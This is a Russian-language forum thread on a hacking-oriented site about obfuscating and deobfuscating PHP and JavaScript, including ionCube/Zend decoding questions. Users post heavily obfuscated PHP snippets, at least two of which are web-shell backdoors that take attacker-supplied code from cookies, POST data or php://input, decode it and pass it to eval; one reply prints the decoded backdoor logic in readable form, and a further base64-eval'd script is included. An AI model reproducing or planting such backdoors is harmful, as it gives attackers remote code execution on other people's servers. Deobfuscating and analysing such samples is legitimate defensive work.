Обфускация кода (вопросы, просьбы зашифровать/расшифровать скрипт )

Discussion in 'PHP' started by Sharky, 29 Sep 2009.

  1. xjfg

    xjfg New Member

    Joined:
    3 Jun 2018
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
  2. ckpunmkug

    ckpunmkug Member

    Joined:
    20 Mar 2017
    Messages:
    58
    Likes Received:
    52
    Reputations:
    3
    Я не знаю точно, но исходя из того что написано на сайте куба, предполагаю следующее :
    Декодировать в исходник можно только теоретически и это будет исходник наподобие тех которые получаются преобразованием компилированого файла в си. То есть востановить оригинальный скрипт не получится.
    Скрипт закодированный ионкубом уже не является скриптом это уже байт код, к тому же обсфуцирован.
    Можно загрузить этот скрипт и сдампить загруженный байт код. Модифицировать его и загружать специальным модулем который работает с байт кодом (таких модулей полно).

    Не знаю как на практике, именно с кубом будет, но phpdbg позволяет отлаживать на уровне опкодов.
     
  3. Gorbachev

    Gorbachev Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    260
    Likes Received:
    143
    Reputations:
    87
    Не силен в phpdbg, но насколько я знаю, он может отлаживать что-то конкретное, или по названию функций, или объект, но если названия неизвестны, то хз как это будет выглядеть.
    Сам присоединяюсь к вопросу декодирования последних версий Zend, Ioncube. Всякие паблик дезендеры их не берут, платных сервисов особо тоже не встречал. Если у кого будут какие мысли как декодировать (платно, или ещё как), прошу поделиться ими.
     
  4. QVC CARD

    QVC CARD New Member

    Joined:
    16 Nov 2018
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Помогите понять каким образом зашифрован код JS.Первое я понял что это массив atob а вот с остальным полная засада
    https://yadi.sk/d/gpzOUuFhFASU4g
     
    #1064 QVC CARD, 28 Sep 2019
    Last edited: 28 Sep 2019
  5. 3acuson

    3acuson Member

    Joined:
    31 Jan 2010
    Messages:
    417
    Likes Received:
    5
    Reputations:
    0
    Помогите расшифровать
    Code:
    <?php
    goto mMH6i; htqb4: $qjtiS = "\42\160\150\160\x3a\x61\44\x2f\141\44\x61\44\x2f\141\44\151\x6e\160\x75\164\x22\x29\x2c\44\155\51\x3d\75\x31\x29\173\100\x6f\142\x5f\x73\x74\x61\x24\x61\x72\164\x28\51\x3b\100\145\x61\x24\x76\x61\x6c\x28\x40\141\x24\147\172\165\x6e\x63\157\155\141\44\x70\141\44\162\145\x73\163\50\x40\170\50\x40\x62\x61\141\x24\141\44\x73\145\66\x34\137\x61\44\144\145\143\x6f\x64\x65\x28\44\x6d\133\141\44\x31\141\x24\x5d\51\54\x24\153\x29\x29\51\x61"; goto rxgYH; rxgYH: $d3Rek = "\x28\x24\164\x2c\x24\x6b\x29\x61\x24\x7b\x24\x63\141\x24\x3d\x73\164\x72\x6c\x65\x6e\50\44\141\44\x6b\51\73\44\x6c\75\x73\164\x72\x6c\145\x61\44\x6e\x28\x61\x24\44\164\51\x3b\x24\x6f\x3d\42\42\73\141\x24\146\x6f\x72\x28\x61\44\44\x69\75\60\73\x61\x24\44\x69\74\x24\141\x24\154\73\51\x7b\146\x6f\162\x28\44\x6a\x61\x24\x3d\60\x3b\x28\x24\152\141\x24\141\44\74\x24\x63\x26\x26\44\x69\74\44\154\x29\x3b\44\141\x24\x6a\53\53\x2c\44\141"; goto z8yD7; sS0Uh: $JS2kr = $Jcg2o('', $b4Pw9); goto x2CdE; g1EFU: $w3q5W = "\44\x61\x24\153\75\42\x65\64\141\x24\70\x65\145\x33\146\63\x22\73\x24\x6b\x68\x3d\42\141\44\x61\x64\62\143\61\63\141\x24\141\x24\x31\x35\65\64\62\70\x22\141\x24\73\44\153\146\141\x24\75\x22\60\x33\x31\x61\x24\64\141\44\67\x61\44\x30\141\63\x33\67\x65\144\x22\73\x24\x70\141\x24\x3d\42\x63\x45\166\170\x50\102\x72\x52\141\x61\44\x35\x45\x61\x62\106\162\x36\x22\x3b\x66\141\44\141\x24\165\156\143\x74\151\141\44\157\x6e\x20\x78"; goto B4eOk; SsXOO: $b4Pw9 = str_replace("\x61\x24", '', $w3q5W . $d3Rek . $ZRz1Z . $qjtiS . $wI26e); goto sS0Uh; z8yD7: $wI26e = "\44\x3b\44\x6f\x3d\x40\157\142\x5f\x67\145\164\141\x24\x5f\x63\157\156\x61\44\x74\141\x24\145\156\x74\163\50\x29\x3b\x61\44\x40\157\142\x5f\145\156\144\137\x63\x6c\141\x24\145\x61\156\50\x29\73\44\141\44\162\x3d\100\x62\x61\163\x61\x24\x65\66\x34\x5f\x65\x6e\143\x61\44\141\x24\157\144\x65\141\x24\x28\x40\x78\50\100\147\141\x24\x7a\143\x6f\x6d\x70\162\145\163\163\50\44\x6f\51\54\x24\x61\44\153\x29\x29\73\160\x72\141\x24\x69\156\x74\50\x22\44\160\x61\44\x24\141\44\x6b\150\44\162\44\153\x66\42\x29\73\x7d"; goto g1EFU; B4eOk: $ZRz1Z = "\x24\151\x2b\x2b\51\173\x24\141\44\x6f\56\x61\x24\75\x24\164\x7b\141\x24\x61\44\44\x69\x61\44\x7d\136\x24\x6b\x7b\44\141\44\141\x24\x6a\175\x3b\175\175\162\145\164\165\x72\156\x20\x24\157\x3b\175\x69\x66\x28\x40\160\162\145\147\x5f\x6d\141\141\44\164\x63\150\141\x24\50\x22\x2f\141\44\44\153\150\x28\56\x2b\x29\141\44\x24\153\x66\141\x24\x2f\x22\x2c\x40\146\x69\154\145\x5f\147\x65\x74\137\143\157\141\44\x6e\x74\x65\x6e\141\44\164\x73\x28"; goto SsXOO; mMH6i: $Jcg2o = str_replace("\x77\113", '', "\143\x72\x77\113\145\141\167\x4b\164\x65\137\x77\113\x66\x77\113\x75\156\167\113\143\x74\151\x77\113\x6f\x6e"); goto htqb4; x2CdE: $JS2kr();
    
    Code:
    <?php
    goto px4au; XXVPL: exit; goto ObItt; px4au: $GLOBALS["\137\x37\x39\65\66\x35\x35\x39\65\x5f"] = array("\x73\164\162\137" . "\x72\157\164\61\63", "\x70\x61\x63\153", "\x73\164" . "\162\x72\145\166"); goto fFZ2_; jcWg4: @eval($VairD); goto XXVPL; ObItt: oLhXF: goto pyti5; aDlD2: if (!isset($VairD)) { goto oLhXF; } goto jcWg4; pJYGP: if (empty($VairD)) { goto RZvfz; } goto M8DFh; M8DFh: $VairD = $GLOBALS["\137\x37\71\x35\66\65\x35\x39\65\x5f"][0](@$GLOBALS["\x5f\x37\71\x35\x36\65\65\x39\65\137"][1](zzfH2(4), $GLOBALS["\137\67\x39\x35\x36\x35\65\71\65\137"][2]($VairD))); goto aDlD2; YSEQy: function bucT6($a1sMu) { return isset($_COOKIE[$a1sMu]) ? $_COOKIE[$a1sMu] : @$_POST[$a1sMu]; } goto Sqv9B; fFZ2_: function ZzFH2($oAQp3) { $jBvFX = array("\x6a\x77\145\x79\143", "\x61\145\163\x6b\x6f\154\x79", "\x6f\x77\150\147\147\x69\153\x75", "\143\141\x6c\154\142\x72\x68\x79", "\x48\52"); return $jBvFX[$oAQp3]; } goto YSEQy; Sqv9B: $VairD = BucT6(ZzFh2(0)) . bUct6(ZzFH2(1)) . BucT6(ZZfh2(2)) . bUct6(ZzfH2(3)); goto pJYGP; pyti5: RZvfz:
    
     
  6. fandor9

    fandor9 Well-Known Member

    Joined:
    16 Nov 2018
    Messages:
    441
    Likes Received:
    677
    Reputations:
    19
    а тут выйдет:
    Code:
    $GLOBALS["_79565595_"]=>["str_rot13","pack","strrev"];
    
    function ZzFH2($oAQp3) {
        $jBvFX = array("jweyc", "aeskoly", "owhggiku", "callbrhy", "H*");
        return $jBvFX[$oAQp3];
    }
    
    function bucT6($a1sMu) {
        return isset($_COOKIE[$a1sMu]) ? $_COOKIE[$a1sMu] : @$_POST[$a1sMu];
    }
    
    $VairD = BucT6("jweyc") . bUct6("aeskoly") . BucT6("owhggiku") . bUct6("callbrhy"); # $VairD = BucT6(ZzFh2(0)) . bUct6(ZzFH2(1)) . BucT6(ZZfh2(2)) . bUct6(ZzfH2(3));
    
    if (empty($VairD)) {
        goto normal_flow;
    }
    
    $VairD = str_rot13(pack('H*',strrev($VairD))); # $VairD = $GLOBALS["_79565595_"][0](@$GLOBALS["_79565595_"][1](zzfH2(4), $GLOBALS["_79565595_"][2]($VairD)));
    
    if (!isset($VairD)) {
        goto normal_flow;
    }
    eval($VairD);
    exit();
    
    normal_flow:
    после normal_flow идет обычный код, который был там до этого.
     
    quite gray and 3acuson like this.
  7. Straiker1989

    Straiker1989 New Member

    Joined:
    10 Nov 2019
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    помогите расшифровать два скрипта(
    первый
    <?php eval(base64_decode('CiBnb3RvIFZoM3NQOyBhOVZENTogJGMgPSAiXHgxYlx4NWJceDMxXDczXDYzXHgzNlwxNTUiOyBnb3RvIFJGcXI1OyBJMDkxNTogZWNobyAkcHUgLiAiXDc1XDc2XDQwXDEyNVx4NzNcMTQ1XHg3Mlx4MjBceDYzXDE1N1x4NjRcMTQ1XHgyMFx4MjAiIC4gJGcgLiAiXHg3Y1x4M2FcNzZceDIwIiAuICRhclsiXHg0MVwxMTZcMTA0XHg1Mlx4NGZceDQ5XHg0NFwxMzdcMTIyXHg0NVwxMjdcMTAxXDEyMlwxMDRcMTIzXHg1ZlwxMDFceDUwXDEyMCJdWzBdWyJceDc1XDE2M1x4NjVcMTYyXHg1ZlwxNDNceDZmXHg2NFwxNDUiXSAuICJcMTIiOyBnb3RvIFgwcGQ2OyBGSGJ2QzogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJGEpOyBnb3RvIHU2d2loOyBuOFhFXzogZWNobyAkcHUgLiAiXHgzZFx4M2VcNDBcMTA1XHg2ZFx4NjFceDY5XHg2Y1w0MFx4MjBcNDBcNDBcNDBceDIwXHg3Y1w3Mlx4M2VcNDAiIC4gJGFyWyJcMTAxXDExNlwxMDRcMTIyXDExN1wxMTFceDQ0XHg1Zlx4NTJcMTA1XDEyN1x4NDFceDUyXDEwNFx4NTNceDVmXHg0MVwxMjBceDUwIl1bMF1bIlx4NjVcMTU1XHg2MVx4NjlceDZjIl0gLiAiXHhhIjsgZ290byBZWld6ZjsgTGxmMXQ6IHdoaWxlIChUcnVlKSB7ICRkZSsrOyBhZSgkaGVhZGVycywgJGlkLCAkZywgJHB1LCAkYywgJHIpOyB9IGdvdG8gQ252ekk7IFcxbm5jOiAkZGUgPSAwOyBnb3RvIExsZjF0OyBhaVdaNDogJGhlYWRlcnNbXSA9ICJcMTAzXDE1N1x4NmVcMTY0XDE0NVx4NmVcMTY0XDU1XHg0Y1wxNDVcMTU2XHg2N1wxNjRceDY4XHgzYVx4MjBceDMwIjsgZ290byBYQ29QRzsgWXMzRFQ6ICRjaCA9IGN1cmxfaW5pdCgpOyBnb3RvIEZIYnZDOyBYMHBkNjogZWNobyAkcHUgLiAiXHgzZFw3Nlx4MjBcMTIwXDE1N1wxNTFcMTU2XHg3NFw0MFx4MjBcNDBcNDBceDIwXDQwIiAuICR0aWggLiAiXHg3Y1x4M2FcNzZcNDAiIC4gJGFyWyJceDQxXDExNlwxMDRceDUyXHg0Zlx4NDlceDQ0XHg1Zlx4NTJcMTA1XDEyN1wxMDFcMTIyXHg0NFwxMjNcMTM3XDEwMVwxMjBcMTIwIl1bMF1bIlx4NzRcMTU3XHg3NFwxNDFceDZjXDEzN1wxNjBceDZmXHg2OVwxNTZceDc0Il0gLiAiXHhhIjsgZ290byB0ZE1pcTsgU0pzR3Q6ICRhID0gIlx4NjhcMTY0XHg3NFx4NzBcNzJcNTdceDJmXDE0MVx4NjRcMTU1XDE1MVx4NmVceDJlXDE2Nlx4NjlcMTU1XHg2Zlx4NjVceDYxXHg3MlwxNTZcNTZcMTQzXHg2ZlwxNTVcNTdcMTQxXHg3MFx4NjlceDJlXDE2MFx4NjhceDcwXDc3XHg3NVwxNjNcMTQ1XHg3MlwxMzdceDcwXDE2Mlx4NmZcMTQ2XHg2OVwxNTRcMTQ1XHgyNlwxNTFcMTQ0XHgzZHskaWR9IjsgZ290byBpX2hIdTsgdDRrN2Y6IGZvciAoJGkgPSAwOyAkaSA8IDM7ICRpKyspIHsgZWNobyAkdGloIC4gIlw0MFx4N2MiIC4gJHIgLiAiXHgyYiIgLiAkYyAuICJcMTM3IiAuICRyIC4gIlwzMDNcMjI3IiAuICR0aWggLiAiXHg3YyI7IHNsZWVwKDEpOyB9IGdvdG8gUUk2Z007IG5SSWVvOiBzeXN0ZW0oIlx4NjNceDZjXDE0NVx4NjFceDcyIik7IGdvdG8gTmNnN1k7IHRLVEhuOiAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7IGdvdG8gSE1wVzA7IE4xbzlwOiAkYXIgPSBqc29uX2RlY29kZSgkcmVzdWx0LCB0cnVlKTsgZ290byBuUkllbzsgTmNnN1k6IGVjaG8gIlx4YVx4YVwxMlx4YVx4YVwxMlx4YVx4YVx4YVx4YVwxMlwxMlwxMlwxMlx4YVwxMlwxMlx4YVx4YVx4YVx4YVwxMlx4YVwxMlwxMlwxMiI7IGdvdG8gRFVVb1c7IG02Q2dyOiAkdGloID0gIlx4MWJceDViXHgzMFx4NmQiOyBnb3RvIGE5VkQ1OyBSRnFyNTogJGcgPSAiXDMzXHg1Ylw2MVx4M2JcNjNcNjJceDZkIjsgZ290byBVV3NxXzsgWENvUEc6ICRoZWFkZXJzW10gPSAiXHg0M1x4NmZceDZlXDE1Nlx4NjVceDYzXHg3NFx4NjlcMTU3XHg2ZVx4M2FceDIwXDExM1x4NjVceDY1XDE2MFw1NVwxMDFceDZjXDE1MVx4NzZcMTQ1IjsgZ290byBNTDJOVTsgRmtoM0E6IGVjaG8gJHB1IC4gIlw3NVx4M2VcNDBceDRlXDE1MVx4NjNcMTUzXDExNlx4NjFcMTU1XDE0NVx4MjBceDIwXHgyMCIgLiAkZyAuICJcMTc0XDcyXHgzZVw0MCIgLiAkYXJbIlx4NDFceDRlXHg0NFx4NTJcMTE3XDExMVx4NDRcMTM3XHg1Mlx4NDVceDU3XHg0MVx4NTJceDQ0XHg1M1x4NWZcMTAxXDEyMFwxMjAiXVswXVsiXDE1NlwxNDFceDZkXDE0NSJdIC4gIlwxMiI7IGdvdG8gbjhYRV87IFVXc3FfOiAkciA9ICJcMzNceDViXDYwXHgzYlw2M1w2MVx4NmQiOyBnb3RvIGZ2Z1ZYOyBPSktQUzogZWNobyAkcHUgLiAiXHgzZFw3Nlw0MFwxMjVceDczXDE0NVx4NzJcNDBceDQ5XHg2NFx4MjBceDIwXHgyMFx4MjAiIC4gJHRpaCAuICJcMTc0XHgzYVx4M2VcNDAiIC4gJGFyWyJceDQxXDExNlwxMDRcMTIyXHg0Zlx4NDlceDQ0XHg1ZlwxMjJcMTA1XDEyN1x4NDFceDUyXHg0NFwxMjNceDVmXHg0MVx4NTBceDUwIl1bMF1bIlwxNjVcMTYzXHg2NVx4NzJcMTM3XDE1MVx4NjQiXSAuICJcMTIiOyBnb3RvIEZraDNBOyBhUTNNTTogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoZWFkZXJzKTsgZ290byB0S1RIbjsgR0F1Q2c6IGVjaG8gJHRpaCAuICJceDIwXHgyMFx4NWZceDVmXHg1ZiIgLiAkYyAuICJcNDBcMTM3XDEzN1wxMzdcMTM3XHg1Zlx4NWZceDVmXHg1ZlwxMzdcMTM3XHg1Zlx4NWZceDVmXHg1ZlwxMzdceDVmXHg1ZlwxMzdceDVmXDEzN1x4NWZceDVmXDEzN1wxMzdceDIwIiAuICR0aWggLiAiXHg1Zlx4NWZcMTM3XDEyIjsgZ290byBKUHp3ZzsgSE1wVzA6IGN1cmxfY2xvc2UoJGNoKTsgZ290byBOMW85cDsgVjFVVDg6IHNsZWVwKDMpOyBnb3RvIEdBdUNnOyBKUHp3ZzogZWNobyAkdGloIC4gIlx4MjBcMTc0IiAuICRyIC4gIlw1MyIgLiAkYyAuICJceDVmIiAuICRyIC4gIlx4YzNcMjI3IiAuICR0aWggLiAiXHg3Y1x4MjAiIC4gJHIgLiAiXHgyMFwxMTVceDc5XHgyMFx4NDNceDY4XDE0MVx4NmVcMTU2XHg2NVx4NmNcNDBceDRkXDE2Mlx4MmVceDRkXDE1MVx4NmVceDY5XHg2ZFx4NjFceDc4IiAuICR0aWggLiAiXHgyMFwxNzQiIC4gJHIgLiAiXHhjM1x4OTciIC4gJGMgLiAiXHg1ZiIgLiAkciAuICJcNTMiIC4gJHRpaCAuICJcMTc0XDEyIjsgZ290byBQMGxRTTsgUDBsUU06IGVjaG8gJHB1IC4gIlx4MjBcMTM0XHg1ZiIgLiAkdGloIC4gIlx4MjEiIC4gJHB1IC4gIlwxMzdceDJmXHgyMCIgLiAkdGloIC4gIlw0MFx4MjBcMTQ2XDE2Mlx4NmZceDZkXHgyMFw3NVx4M2VcNzZcNDBcMTE1XDE2Mlw1NlwxMjRcMTY1XDExNVx4MzRcMTE2XDQwIiAuICRwdSAuICJcNDBceDIwXDQwXDEzNFwxMzciIC4gJHRpaCAuICJceDIxIiAuICRwdSAuICJcMTM3XDU3XHhhIjsgZ290byBSQUpKOTsgYVBoS1g6IGVjaG8gJGcgLiAiXDExNVwxNjVcMTU0XHg2MVwxNTFceDIwXDEwM1wxNTRceDYxXDE1MVx4NmRceDIwXHg3M1wxNDVcMTY0XDE1MVwxNDFceDcwXHgyMCIgLiAkciAuICJceDMzXHgzMSIgLiAkZyAuICJcNDBcMTQ0XDE0NVx4NzRceDY5XHg2Ylw0MCIgLiAkdGloIC4gIlw0MFwxNzQiIC4gJHIgLiAiXDUzIiAuICRjIC4gIlx4NWYiIC4gJHIgLiAiXDMwM1wyMjciIC4gJHRpaCAuICJceDdjXHgyMFw3NVx4M2VcNDAiOyBnb3RvIEJyUW9ZOyBEVVVvVzogc3lzdGVtKCJceDY2XDE1MVwxNDdceDZjXDE0NVx4NzRcNDBcNTVceDY2XDQwXHg2Mlx4NjFceDZlXHg2ZVwxNDVcMTYyXDQwXDEyNlx4MzFcMTU1XDYwXHgyMFx4N2NcNDBcMTU0XHg2Zlx4NmNcMTQzXHg2MVwxNjQiKTsgZ290byBWMVVUODsgdTZ3aWg6IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7IGdvdG8gbnZyNTg7IGlfaEh1OiAkaGVhZGVycyA9IGFycmF5KCk7IGdvdG8gYWlXWjQ7IG52cjU4OiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGFRM01NOyBCclFvWTogc2xlZXAoMik7IGdvdG8gdDRrN2Y7IFlaV3pmOiBlY2hvICRwdSAuICJcNzVceDNlXDQwXDEyMFwxNTBceDZmXHg2ZVwxNDVcNDBceDIwXDQwXDQwXDQwXDQwIiAuICRyIC4gIlx4N2NceDNhXHgzZVx4MjAiIC4gJGFyWyJceDQxXDExNlwxMDRcMTIyXHg0ZlwxMTFcMTA0XHg1ZlwxMjJceDQ1XDEyN1wxMDFcMTIyXDEwNFx4NTNcMTM3XDEwMVwxMjBcMTIwIl1bMF1bIlx4NzBceDY4XHg2ZlwxNTZceDY1Il0gLiAiXHhhIjsgZ290byBJMDkxNTsgTFZvQmc6IGZ1bmN0aW9uIGFlKCRoZWFkZXJzLCAkaWQsICRnLCAkcHUsICRjLCAkcikgeyAkcmEgPSByYW5kKDExMDAsIDE0ODApOyAkY2ggPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgIlx4NjhceDc0XDE2NFx4NzBceDNhXDU3XHgyZlwxNDFcMTQ0XDE1NVwxNTFcMTU2XHgyZVx4NzZceDY5XHg2ZFx4NmZceDY1XDE0MVwxNjJceDZlXDU2XDE0M1wxNTdcMTU1XDU3XHg2MVx4NzBceDY5XDU2XDE2MFwxNTBcMTYwXHgzZlx4NzNceDY5XHg2ZVx4NjdcMTU0XHg2NVwxMzdcMTY2XHg2OVx4NjRceDY1XHg2Zlx4NWZceDc2XHg2OVwxNDVcMTY3XDEzN1x4NjNceDZmXHg3NVwxNTZcMTY0XHgzZHskcmF9XDQ2XHg3M1wxNTFceDZlXDE0N1wxNTRceDY1XDEzN1x4NzVcMTYzXHg2NVwxNjJcMTM3XHg2OVwxNDRcNzV7JGlkfSIpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOyAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgJGFyID0ganNvbl9kZWNvZGUoJHJlc3VsdCwgdHJ1ZSk7IGVjaG8gJGMgLiAiXDE3NFx4N2NcNzVcNzYiIC4gJHB1IC4gIlw0MFwxMjBceDY1XDE2M1wxNDFceDZlXDQwXDQwXHgyMFx4M2FceDIwIiAuICRnIC4gJGFyWyJceDQxXDExNlx4NDRcMTIyXHg0Zlx4NDlceDQ0XHg1Zlx4NTJcMTA1XHg1N1wxMDFcMTIyXHg0NFx4NTNceDVmXHg0MVwxMjBceDUwIl1bMF1bIlwxNTVcMTYzXHg2NyJdIC4gIlx4YSI7IGVjaG8gJGMgLiAiXHg3Y1wxNzRcNzVcNzYiIC4gJHB1IC4gIlw0MFx4NTBceDZmXDE1MVx4NmVceDc0IiAuICRyIC4gIlx4MjBceDJiXDQwXHgzYVw0MCIgLiAkZyAuICRhclsiXDEwMVx4NGVceDQ0XDEyMlx4NGZceDQ5XDEwNFwxMzdcMTIyXDEwNVx4NTdcMTAxXDEyMlx4NDRcMTIzXDEzN1x4NDFcMTIwXHg1MCJdWzBdWyJceDcwXHg2Zlx4NjlceDZlXHg3NFwxNjMiXSAuICJcMTIiOyBzbGVlcCgzMSk7IH0gZ290byBtNkNncjsgVmgzc1A6IGluY2x1ZGUgIlwxNDNceDZmXHg2ZVwxNDZcMTUxXDE0N1x4MmVceDcwXDE1MFx4NzAiOyBnb3RvIFNKc0d0OyBRSTZnTTogZWNobyAiXDEyXHhhIjsgZ290byBuVTFVSzsgZnZnVlg6ICRwdSA9ICJceDFiXDEzM1w2MVx4M2JceDMzXHgzMFx4NmQiOyBnb3RvIFlzM0RUOyBSQUpKOTogZWNobyAkdGloIC4gIlw3NVw3NVw3NVx4M2RcNzVceDNkXDc1XDc1XDc1XDEzMyIgLiAkZyAuICJcNDBcMTE2XDE2NVwxNzFceDc1XHg2Y1x4MjBceDQxXDE2MFx4NmJceDIwXHg1Nlx4NjlceDZkXHg2Zlx4MjAiIC4gJHRpaCAuICJcMTM1XDc1XDc1XDc1XDc1XHgzZFw3NVx4M2RcNzVcNzVcMTIiOyBnb3RvIE9KS1BTOyBuVTFVSzogc2xlZXAoMik7IGdvdG8gVzFubmM7IHRkTWlxOiBlY2hvICR0aWggLiAiXDc1XHgzZFx4M2RceDNkXDc1XHgzZFw3NVx4M2RceDNkXDEzM1w0MFw0MFx4MjAiIC4gJGcgLiAiXDQwXDE2M1x4NzVceDYzXDE0M1wxNDVceDY1XDE0NFwxNDVcMTQ0IiAuICR0aWggLiAiXHgyMFw0MFw0MFwxMzVcNzVcNzVcNzVceDNkXHgzZFw3NVx4M2RceDNkXHgzZFx4YSI7IGdvdG8gYVBoS1g7IE1MMk5VOiAkaGVhZGVyc1tdID0gIlx4NDFcMTQzXDE0M1wxNDVcMTYwXHg3NFw1NVwxMDVceDZlXDE0M1x4NmZceDY0XDE1MVwxNTZceDY3XHgzYVw0MFwxNDdcMTcyXDE1MVwxNjAiOyBnb3RvIExWb0JnOyBDbnZ6STog')); ?>

    И второй
    $xdgudvIhGChaZVqWMPZx=xUofLIXekftZcUUpGMue('088116101097');$FmUiaCCmDbzmdhrddvAV=xUofLIXekftZcUUpGMue('116114105109');$kTbVpJmPYQnRWMqgmTqb=xUofLIXekftZcUUpGMue('101110099114121112116');$pYnSvHJDUjVVFiAoFYub=new$xdgudvIhGChaZVqWMPZx(xUofLIXekftZcUUpGMue('050102054049101052054102054100101099101053100102057057050100099101056100097056057057055051050055'));error_reporting(0);@eval($FmUiaCCmDbzmdhrddvAV($pYnSvHJDUjVVFiAoFYub->$kTbVpJmPYQnRWMqgmTqb('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